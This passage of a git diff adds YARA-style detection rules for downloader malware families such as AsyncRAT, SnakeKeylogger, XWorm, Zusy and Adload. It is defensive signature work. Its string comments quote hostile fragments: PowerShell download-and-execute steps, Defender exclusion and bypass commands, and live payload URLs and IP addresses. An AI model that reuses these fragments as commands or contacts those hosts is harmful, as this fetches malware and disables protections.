00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //2 New-Object System.Net.WebClient + $a_01_4 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 50 00 61 00 74 00 68 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 54 00 65 00 6d 00 70 00 46 00 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 28 00 29 00 20 00 2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 20 00 27 00 5c 00 2e 00 74 00 6d 00 70 00 24 00 27 00 2c 00 20 00 27 00 2e 00 65 00 78 00 65 00 27 00 } //1 [System.IO.Path]::GetTempFileName() -replace '\.tmp$', '.exe' + $a_01_5 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 5d 00 3a 00 3a 00 57 00 72 00 69 00 74 00 65 00 41 00 6c 00 6c 00 42 00 79 00 74 00 65 00 73 00 } //2 [System.IO.File]::WriteAllBytes + $a_01_6 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 2d 00 46 00 69 00 6c 00 65 00 50 00 61 00 74 00 68 00 20 00 24 00 74 00 65 00 6d 00 70 00 20 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 } //1 Start-Process -FilePath $temp -WindowStyle Hidden + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1+(#a_01_5 & 1)*2+(#a_01_6 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_CH_MTB.yar b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_CH_MTB.yar new file mode 100644 index 0000000000..8ba81646d4 --- /dev/null +++ b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_CH_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanDownloader_BAT_AsyncRat_CH_MTB{ + meta: + description = "TrojanDownloader:BAT/AsyncRat.CH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {11 04 11 07 11 04 11 07 91 20 ?? ?? ?? ?? 59 d2 9c 00 11 07 17 58 13 07 11 07 11 04 8e 69 fe 04 13 08 11 08 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_C_MTB.yar b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_C_MTB.yar new file mode 100644 index 0000000000..edaac9e268 --- /dev/null +++ b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_C_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanDownloader_BAT_AsyncRat_C_MTB{ + meta: + description = "TrojanDownloader:BAT/AsyncRat.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {08 11 04 06 11 04 91 07 11 04 09 5d 6f ?? ?? ?? ?? 61 d2 9c 11 04 17 58 13 04 11 04 06 8e 69 32 df } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Crysan/TrojanDownloader_BAT_Crysan_ACY_MTB.yar b/TrojanDownloader/BAT/Crysan/TrojanDownloader_BAT_Crysan_ACY_MTB.yar new file mode 100644 index 0000000000..19a248cf4f --- /dev/null +++ b/TrojanDownloader/BAT/Crysan/TrojanDownloader_BAT_Crysan_ACY_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_BAT_Crysan_ACY_MTB{ + meta: + description = "TrojanDownloader:BAT/Crysan.ACY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_03_0 = {0a 04 16 6f ?? 00 00 0a 0a 06 14 28 ?? 00 00 0a 39 ?? 00 00 00 0e 04 04 25 3a ?? 00 00 00 26 72 ?? 00 00 70 51 16 0b } //2 + $a_03_1 = {0a 0b 07 72 ?? 00 00 70 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 0a } //1 + $a_01_2 = {66 00 69 00 6c 00 65 00 63 00 72 00 75 00 6d 00 62 00 2e 00 6e 00 6c 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 41 00 65 00 70 00 6e 00 7a 00 69 00 77 00 79 00 2e 00 77 00 61 00 76 00 } //5 filecrumb.nl/panel/uploads/Aepnziwy.wav + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1+(#a_01_2 & 1)*5) >=8 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Heracles/TrojanDownloader_BAT_Heracles_SBK_MTB.yar b/TrojanDownloader/BAT/Heracles/TrojanDownloader_BAT_Heracles_SBK_MTB.yar new file mode 100644 index 0000000000..7a9e0a7b0e --- /dev/null +++ b/TrojanDownloader/BAT/Heracles/TrojanDownloader_BAT_Heracles_SBK_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanDownloader_BAT_Heracles_SBK_MTB{ + meta: + description = "TrojanDownloader:BAT/Heracles.SBK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 01 11 05 16 11 06 6f 0f 00 00 0a 38 0a 00 00 00 38 05 00 00 00 38 e5 ff ff ff 11 04 11 05 16 11 05 8e 69 6f 10 00 00 0a 25 13 06 16 3d ce ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_ALK_MTB.yar b/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_ALK_MTB.yar new file mode 100644 index 0000000000..6db6f489a6 --- /dev/null +++ b/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_ALK_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_BAT_Jalapeno_ALK_MTB{ + meta: + description = "TrojanDownloader:BAT/Jalapeno.ALK!MTB,SIGNATURE_TYPE_PEHSTR,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 65 00 64 00 64 00 69 00 74 00 64 00 65 00 76 00 2e 00 63 00 6f 00 6d 00 } //2 http://edditdev.com + $a_01_1 = {64 00 69 00 73 00 63 00 6f 00 72 00 64 00 2e 00 67 00 67 00 2f 00 6d 00 63 00 68 00 73 00 45 00 58 00 67 00 32 00 66 00 63 00 20 00 6f 00 72 00 20 00 64 00 73 00 63 00 2e 00 67 00 67 00 2f 00 66 00 6c 00 65 00 78 00 78 00 63 00 68 00 65 00 61 00 74 00 73 00 } //2 discord.gg/mchsEXg2fc or dsc.gg/flexxcheats + $a_01_2 = {46 00 4c 00 45 00 58 00 58 00 5f 00 4c 00 4f 00 41 00 44 00 45 00 52 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 } //2 FLEXX_LOADER.Resources + $a_01_3 = {24 63 39 37 65 64 35 37 38 2d 65 65 34 64 2d 34 62 61 37 2d 38 65 36 63 2d 37 36 64 30 34 63 37 34 31 61 31 35 } //2 $c97ed578-ee4d-4ba7-8e6c-76d04c741a15 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_JKI_MTB.yar b/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_JKI_MTB.yar new file mode 100644 index 0000000000..12ba2f59ba --- /dev/null +++ b/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_JKI_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_BAT_Jalapeno_JKI_MTB{ + meta: + description = "TrojanDownloader:BAT/Jalapeno.JKI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {73 1f 00 00 0a 25 6f 20 00 00 0a 72 61 00 00 70 72 77 00 00 70 6f 21 00 00 0a 25 72 6e 01 00 70 6f 22 00 00 0a 0a 6f 23 00 00 0a dd 03 00 00 00 26 de cc 02 06 28 01 00 00 2b 28 02 00 00 2b 28 26 00 00 0a 28 27 00 00 0a 02 73 28 00 00 0a 25 } //2 + $a_01_1 = {02 7b 05 00 00 04 72 10 02 00 70 28 1e 00 00 0a 26 02 28 2a 00 00 0a 75 18 00 00 01 72 1e 02 00 70 6f 2b 00 00 0a 72 6a 02 00 70 1f 18 6f 2c 00 00 0a 0a 06 14 28 2d 00 00 0a 39 05 00 00 00 dd 1a 00 00 00 06 14 14 6f 2e 00 00 0a 26 dd 06 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_JLK_MTB.yar b/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_JLK_MTB.yar new file mode 100644 index 0000000000..f4583210d0 --- /dev/null +++ b/TrojanDownloader/BAT/Jalapeno/TrojanDownloader_BAT_Jalapeno_JLK_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_BAT_Jalapeno_JLK_MTB{ + meta: + description = "TrojanDownloader:BAT/Jalapeno.JLK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {73 1f 00 00 0a 25 6f 20 00 00 0a 72 61 00 00 70 72 77 00 00 70 6f 21 00 00 0a 25 72 6e 01 00 70 6f 22 00 00 0a 0a 6f 23 00 00 0a dd 03 00 00 00 26 de cc 02 06 28 01 00 00 2b 28 02 00 00 2b 28 26 00 00 0a 28 27 00 00 0a } //2 + $a_01_1 = {02 7b 05 00 00 04 72 12 02 00 70 28 1e 00 00 0a 26 02 28 2a 00 00 0a 75 18 00 00 01 72 20 02 00 70 6f 2b 00 00 0a 72 6c 02 00 70 1f 18 6f 2c 00 00 0a 0a 06 14 28 2d 00 00 0a 39 05 00 00 00 dd 1a 00 00 00 06 14 14 6f 2e 00 00 0a 26 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/RedNet/TrojanDownloader_BAT_RedNet_CCJZ_MTB.yar b/TrojanDownloader/BAT/RedNet/TrojanDownloader_BAT_RedNet_CCJZ_MTB.yar new file mode 100644 index 0000000000..b2590cb51b --- /dev/null +++ b/TrojanDownloader/BAT/RedNet/TrojanDownloader_BAT_RedNet_CCJZ_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_BAT_RedNet_CCJZ_MTB{ + meta: + description = "TrojanDownloader:BAT/RedNet.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {64 00 72 00 69 00 76 00 65 00 2e 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 75 00 63 00 3f 00 65 00 78 00 70 00 6f 00 72 00 74 00 3d 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 26 00 69 00 64 00 3d 00 31 00 64 00 68 00 45 00 30 00 61 00 51 00 64 00 30 00 6b 00 51 00 77 00 49 00 4e 00 49 00 45 00 38 00 38 00 68 00 48 00 52 00 35 00 38 00 57 00 4b 00 71 00 32 00 44 00 66 00 58 00 62 00 76 00 4c 00 } //2 drive.google.com/uc?export=download&id=1dhE0aQd0kQwINIE88hHR58WKq2DfXbvL + $a_01_1 = {46 00 74 00 79 00 34 00 72 00 42 00 6a 00 39 00 51 00 59 00 6f 00 3d 00 } //2 Fty4rBj9QYo= + $a_01_2 = {47 00 5a 00 53 00 63 00 6b 00 77 00 4e 00 6b 00 33 00 72 00 51 00 35 00 63 00 68 00 4d 00 4e 00 62 00 77 00 61 00 66 00 7a 00 67 00 3d 00 3d 00 } //1 GZSckwNk3rQ5chMNbwafzg== + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Seraph/TrojanDownloader_BAT_Seraph_AFUA_MTB.yar b/TrojanDownloader/BAT/Seraph/TrojanDownloader_BAT_Seraph_AFUA_MTB.yar new file mode 100644 index 0000000000..731ea6389f --- /dev/null +++ b/TrojanDownloader/BAT/Seraph/TrojanDownloader_BAT_Seraph_AFUA_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_BAT_Seraph_AFUA_MTB{ + meta: + description = "TrojanDownloader:BAT/Seraph.AFUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 73 ?? 00 00 0a 13 05 11 05 11 04 6f ?? 00 00 0a 17 73 ?? 00 00 0a 13 06 11 06 06 16 06 8e 69 6f ?? 00 00 0a 11 06 6f ?? 00 00 0a 03 11 05 6f ?? 00 00 0a 6f ?? 00 00 06 17 0b de 45 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Small/TrojanDownloader_BAT_Small_AKM_MTB.yar b/TrojanDownloader/BAT/Small/TrojanDownloader_BAT_Small_AKM_MTB.yar new file mode 100644 index 0000000000..28291c01ce --- /dev/null +++ b/TrojanDownloader/BAT/Small/TrojanDownloader_BAT_Small_AKM_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_BAT_Small_AKM_MTB{ + meta: + description = "TrojanDownloader:BAT/Small.AKM!MTB,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {53 00 61 00 6e 00 64 00 62 00 6f 00 78 00 20 00 65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 20 00 64 00 65 00 74 00 65 00 63 00 74 00 65 00 64 00 3a 00 20 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 72 00 61 00 6e 00 20 00 69 00 6e 00 20 00 61 00 20 00 73 00 61 00 6e 00 64 00 62 00 6f 00 78 00 20 00 6f 00 72 00 20 00 74 00 72 00 69 00 61 00 2e 00 67 00 65 00 20 00 65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 2e 00 } //2 Sandbox environment detected: Program ran in a sandbox or tria.ge environment. + $a_01_1 = {47 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 7c 00 20 00 53 00 65 00 6c 00 65 00 63 00 74 00 20 00 2d 00 45 00 78 00 70 00 61 00 6e 00 64 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 } //2 Get-MpPreference | Select -ExpandProperty DisableRealtimeMonitoring + $a_01_2 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 75 00 74 00 66 00 73 00 2e 00 69 00 6f 00 2f 00 2f 00 66 00 2f 00 2f 00 6c 00 61 00 66 00 33 00 65 00 62 00 32 00 4d 00 43 00 32 00 6a 00 37 00 62 00 4c 00 38 00 37 00 6e 00 77 00 49 00 43 00 72 00 33 00 6f 00 6d 00 66 00 54 00 30 00 49 00 55 00 53 00 6a 00 56 00 39 00 4d 00 70 00 73 00 6c 00 44 00 63 00 62 00 50 00 7a 00 38 00 47 00 36 00 46 00 71 00 59 00 } //2 http://utfs.io//f//laf3eb2MC2j7bL87nwICr3omfT0IUSjV9MpslDcbPz8G6FqY + $a_01_3 = {24 37 61 35 31 35 38 31 30 2d 62 30 61 66 2d 34 62 36 64 2d 62 35 32 39 2d 34 65 31 30 63 38 33 33 39 61 35 65 } //2 $7a515810-b0af-4b6d-b529-4e10c8339a5e + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/SnakeKeylogger/TrojanDownloader_BAT_SnakeKeyLogger_DWL_MTB.yar b/TrojanDownloader/BAT/SnakeKeylogger/TrojanDownloader_BAT_SnakeKeyLogger_DWL_MTB.yar new file mode 100644 index 0000000000..53421ab040 --- /dev/null +++ b/TrojanDownloader/BAT/SnakeKeylogger/TrojanDownloader_BAT_SnakeKeyLogger_DWL_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_BAT_SnakeKeyLogger_DWL_MTB{ + meta: + description = "TrojanDownloader:BAT/SnakeKeyLogger.DWL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {49 6b 78 6e 6f 6a 6f 68 64 2e 65 78 65 } //1 Ikxnojohd.exe + $a_81_1 = {68 74 74 70 3a 2f 2f 31 39 36 2e 32 35 31 2e 39 32 2e 36 39 } //1 http://196.251.92.69 + $a_81_2 = {4d 6f 7a 69 6c 6c 61 2f 35 2e 30 } //1 Mozilla/5.0 + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/SnakeKeylogger/TrojanDownloader_BAT_SnakeKeyLogger_RK_MTB.yar b/TrojanDownloader/BAT/SnakeKeylogger/TrojanDownloader_BAT_SnakeKeyLogger_RK_MTB.yar new file mode 100644 index 0000000000..37da1a491b --- /dev/null +++ b/TrojanDownloader/BAT/SnakeKeylogger/TrojanDownloader_BAT_SnakeKeyLogger_RK_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_BAT_SnakeKeyLogger_RK_MTB{ + meta: + description = "TrojanDownloader:BAT/SnakeKeyLogger.RK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 36 00 31 00 2e 00 32 00 34 00 38 00 2e 00 32 00 33 00 39 00 2e 00 31 00 31 00 39 00 2f 00 41 00 44 00 4f 00 4c 00 46 00 2f 00 50 00 65 00 6e 00 77 00 63 00 62 00 2e 00 64 00 61 00 74 00 } //1 http://161.248.239.119/ADOLF/Penwcb.dat + $a_01_1 = {4c 00 63 00 64 00 71 00 76 00 2e 00 65 00 78 00 65 00 } //1 Lcdqv.exe + $a_01_2 = {79 00 59 00 42 00 55 00 41 00 33 00 4c 00 73 00 50 00 74 00 4c 00 66 00 78 00 39 00 55 00 64 00 52 00 37 00 2e 00 53 00 47 00 43 00 55 00 38 00 78 00 33 00 52 00 53 00 30 00 48 00 64 00 57 00 33 00 6e 00 74 00 6b 00 48 00 } //1 yYBUA3LsPtLfx9UdR7.SGCU8x3RS0HdW3ntkH + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/XWorm/TrojanDownloader_BAT_XWorm_SFD_MTB.yar b/TrojanDownloader/BAT/XWorm/TrojanDownloader_BAT_XWorm_SFD_MTB.yar new file mode 100644 index 0000000000..1fc1b980f6 --- /dev/null +++ b/TrojanDownloader/BAT/XWorm/TrojanDownloader_BAT_XWorm_SFD_MTB.yar @@ -0,0 +1,15 @@ + +rule TrojanDownloader_BAT_XWorm_SFD_MTB{ + meta: + description = "TrojanDownloader:BAT/XWorm.SFD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_81_0 = {43 6f 70 79 69 6e 67 20 73 68 65 6c 6c 63 6f 64 65 20 66 61 69 6c 65 64 } //2 Copying shellcode failed + $a_81_1 = {61 6d 73 69 2e 65 78 65 } //1 amsi.exe + $a_81_2 = {78 5f 36 34 2e 74 78 74 } //1 x_64.txt + $a_81_3 = {53 68 6f 72 74 63 75 74 20 63 72 65 61 74 65 64 20 61 74 } //1 Shortcut created at + $a_81_4 = {54 61 73 6b 20 63 72 65 61 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 } //1 Task created successfully + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Zusy/TrojanDownloader_BAT_Zusy_PZMZ_MTB.yar b/TrojanDownloader/BAT/Zusy/TrojanDownloader_BAT_Zusy_PZMZ_MTB.yar new file mode 100644 index 0000000000..0186c08462 --- /dev/null +++ b/TrojanDownloader/BAT/Zusy/TrojanDownloader_BAT_Zusy_PZMZ_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_BAT_Zusy_PZMZ_MTB{ + meta: + description = "TrojanDownloader:BAT/Zusy.PZMZ!MTB,SIGNATURE_TYPE_PEHSTR,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 43 3a 5c } //3 Add-MpPreference -ExclusionPath C:\ + $a_01_1 = {24 6f 75 74 70 75 74 20 3d 20 22 24 65 6e 76 3a 54 65 6d 70 2f 52 75 6e 74 69 6d 65 42 72 6f 6b 65 72 2e 65 78 65 } //2 $output = "$env:Temp/RuntimeBroker.exe + $a_01_2 = {53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 50 6f 77 65 72 53 68 65 6c 6c 20 2d 56 65 72 62 20 52 75 6e 41 73 20 22 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 43 6f 6d 6d 61 6e 64 } //1 Start-Process PowerShell -Verb RunAs "-NoProfile -ExecutionPolicy Bypass -Command + $a_01_3 = {47 65 74 43 75 72 72 65 6e 74 28 29 29 2e 49 73 49 6e 52 6f 6c 65 28 5b 53 65 63 75 72 69 74 79 2e 50 72 69 6e 63 69 70 61 6c 2e 57 69 6e 64 6f 77 73 42 75 69 6c 74 49 6e 52 6f 6c 65 5d 3a 3a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 } //1 GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/TrojanDownloader/Linux/Snowlight/TrojanDownloader_Linux_Snowlight_A_MTB.yar b/TrojanDownloader/Linux/Snowlight/TrojanDownloader_Linux_Snowlight_A_MTB.yar new file mode 100644 index 0000000000..13f3a8f206 --- /dev/null +++ b/TrojanDownloader/Linux/Snowlight/TrojanDownloader_Linux_Snowlight_A_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_Linux_Snowlight_A_MTB{ + meta: + description = "TrojanDownloader:Linux/Snowlight.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {41 57 41 89 ff 41 56 49 89 f6 41 55 49 89 d5 41 54 4c 8d 25 f0 01 20 00 55 48 8d 2d f0 01 20 00 53 4c 29 e5 31 db 48 c1 fd 03 48 83 ec 08 e8 0d fc ff ff 48 85 ed 74 1e 0f 1f 84 00 00 00 00 00 4c 89 ea 4c 89 f6 44 89 ff 41 ff 14 dc 48 83 c3 01 48 39 eb 75 ea } //1 + $a_01_1 = {31 c0 b9 00 04 00 00 48 89 ef f3 ab 89 df e8 e4 fd ff ff 48 8b 15 bd 05 20 00 48 8d 74 24 08 44 89 e7 31 c0 48 c7 44 24 08 3d 0b 40 00 48 c7 44 24 10 00 00 00 00 e8 fc fd ff ff 48 81 c4 50 10 00 00 31 c0 5b 5d 41 5c c3 31 ed 49 89 d1 5e 48 89 e2 48 83 e4 f0 50 54 49 c7 c0 20 0b 40 00 48 c7 c1 b0 0a 40 00 48 c7 c7 00 08 40 00 e8 95 fd ff ff f4 0f 1f 40 00 b8 47 0f 60 00 55 48 2d 40 0f 60 00 48 83 f8 0e 48 89 e5 76 1b b8 00 00 00 00 48 85 c0 74 11 5d bf 40 0f 60 00 ff e0 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/MacOS/Adload/TrojanDownloader_MacOS_Adload_P_MTB.yar b/TrojanDownloader/MacOS/Adload/TrojanDownloader_MacOS_Adload_P_MTB.yar new file mode 100644 index 0000000000..e24c316cef --- /dev/null +++ b/TrojanDownloader/MacOS/Adload/TrojanDownloader_MacOS_Adload_P_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_MacOS_Adload_P_MTB{ + meta: + description = "TrojanDownloader:MacOS/Adload.P!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {49 89 d6 48 89 c3 48 8d 7d e0 e8 ?? ?? ?? ?? 48 89 df e8 ?? ?? ?? ?? 41 83 fe 02 75 ?? 48 8b 38 } //1 + $a_03_1 = {4d 8b 6e 60 4b 8b 7c 3d f0 e8 ?? ?? ?? ?? 4b 8b 4c 3d f8 4b 8b 54 3d 00 4c 89 e7 48 89 c6 e8 ?? ?? ?? ?? 48 ff c3 49 63 46 68 49 83 c7 18 48 39 c3 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/MacOS/Adload/TrojanDownloader_MacOS_Adload_W_MTB.yar b/TrojanDownloader/MacOS/Adload/TrojanDownloader_MacOS_Adload_W_MTB.yar new file mode 100644 index 0000000000..87ef152609 --- /dev/null +++ b/TrojanDownloader/MacOS/Adload/TrojanDownloader_MacOS_Adload_W_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_MacOS_Adload_W_MTB{ + meta: + description = "TrojanDownloader:MacOS/Adload.W!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {49 81 fe fe ff ff 7f ba fe ff ff 7f 49 0f 42 d6 bf 02 00 00 00 4c 89 fe e8 80 68 00 00 48 83 f8 ff 74 ca 48 85 c0 74 15 4c 89 f1 48 29 c1 72 28 49 01 c7 49 89 ce 4d 85 f6 } //1 + $a_01_1 = {55 48 89 e5 53 50 48 89 fb 48 81 f9 00 04 00 00 b8 00 04 00 00 48 0f 42 c1 bf 02 00 00 00 48 89 d6 89 c2 e8 2e 69 00 00 48 83 f8 ff 74 08 48 89 43 08 31 c0 eb 18 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/MacOS/Snowlight/TrojanDownloader_MacOS_Snowlight_A_MTB.yar b/TrojanDownloader/MacOS/Snowlight/TrojanDownloader_MacOS_Snowlight_A_MTB.yar new file mode 100644 index 0000000000..1030311046 --- /dev/null +++ b/TrojanDownloader/MacOS/Snowlight/TrojanDownloader_MacOS_Snowlight_A_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_MacOS_Snowlight_A_MTB{ + meta: + description = "TrojanDownloader:MacOS/Snowlight.A!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_01_0 = {ba 00 04 00 00 31 c9 e8 ad 03 00 00 48 8d bd e0 fb ff ff 31 f6 ba 00 04 00 00 e8 82 03 00 00 c7 85 84 e3 ff ff ff ff ff ff c7 85 80 e3 ff ff 00 00 00 00 8b bd 94 e3 ff ff 48 8d b5 e0 f7 ff ff ba 01 00 00 00 31 c9 e8 61 03 00 00 89 85 84 e3 ff ff 83 bd 84 e3 ff ff 01 0f 8d 05 00 00 00 e9 9c 00 00 00 8a 8d e0 f7 ff ff 48 63 85 80 e3 ff ff 88 8c 05 e0 f7 ff ff 48 63 85 80 e3 ff ff 0f be 84 05 e0 f7 ff ff 83 f8 0a 0f 85 59 00 00 00 8b 85 80 e3 ff ff 83 e8 01 48 98 0f be 84 05 e0 f7 ff ff 83 f8 0d 0f 85 3d 00 00 00 8b 85 80 e3 ff ff 83 e8 02 48 98 0f be 84 05 e0 f7 ff ff 83 f8 0a 0f 85 21 00 00 00 8b 85 80 e3 